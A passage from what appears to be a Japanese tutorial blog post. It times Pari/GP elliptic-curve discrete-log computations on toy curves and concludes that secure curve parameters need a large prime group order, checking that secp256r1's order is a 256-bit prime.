1] [ 83 1] [ 209236176689 1] [2203579946128079 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 5min, 42,409 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^112))); ? factor(E.no) [ 3 2] [ 67 1] [ 214901400149 1] [40068488248358139191 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) ^C *** at top-level: elllog(E,P,G) *** ^------------- *** elllog: user interrupt after 6h, 41min, 47,320 ms *** Break loop: <Return> to continue; 'break' to go back to GP prompt break> ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^120))); ? factor(E.no) [ 3 2] [ 89 1] [ 1847 1] [ 381347 1] [ 31639547057 1] [74464534048783 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 2min, 21,056 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^128))); ? factor(E.no) [ 3 1] [ 41 1] [ 3411655459 1] [ 22003545559 1] [36853310066369891 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 28min, 969 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^136))); ? factor(E.no) [ 3 2] [ 7 1] [ 43 1] [ 5375779 1] [5981760200359529611202066470309 1] ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^144))); ? factor(E.no) [ 2 2] [5575186299632655785385137905034729488784923 1] ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^152))); ? factor(E.no) [ 3 2] [ 99007815273500183 1] [6406891275370833771228590437 1] ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^160))); ? factor(E.no) [ 3 1] [ 1381217941 1] [352708430713639496569423242667877661011 1] ?
パラメータである素数pを基準に考えると、128bitが約30分で解けていることがわかる。 ただし、Pohlig-Hellmanアルゴリズムの原理からわかるように、実際の計算量に影響するのは位数の素因数のうち最大のものである。 これを考慮すると、56bitが約30分で解けている一方、66bitでは6時間以上の時間がかかることがわかる。
$ python Python 2.7.12 (default, Nov 19 2016, 06:48:10) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> len(bin(36853310066369891)[2:]) 56 >>> len(bin(40068488248358139191)[2:]) 66
以上からわかるように、安全な楕円曲線パラメータの条件のひとつとして、生成元Gに対する位数の最大素因数が大きい（理想的には位数が素数となる）ことがいえる。 実際に、「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」で用いた楕円曲線パラメータsecp256r1の位数は256 bitの素数となっている。
$ python Python 2.7.12 (default, Nov 19 2016, 06:48:10) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551 >>> n 115792089210356248762697446949407573529996955224135760342422259061068512044369L >>> len(bin(n)[2:]) 256 $ gp -q ? factor(115792089210356248762697446949407573529996955224135760342422259061068512044369) [115792089210356248762697446949407573529996955224135760342422259061068512044369 1]
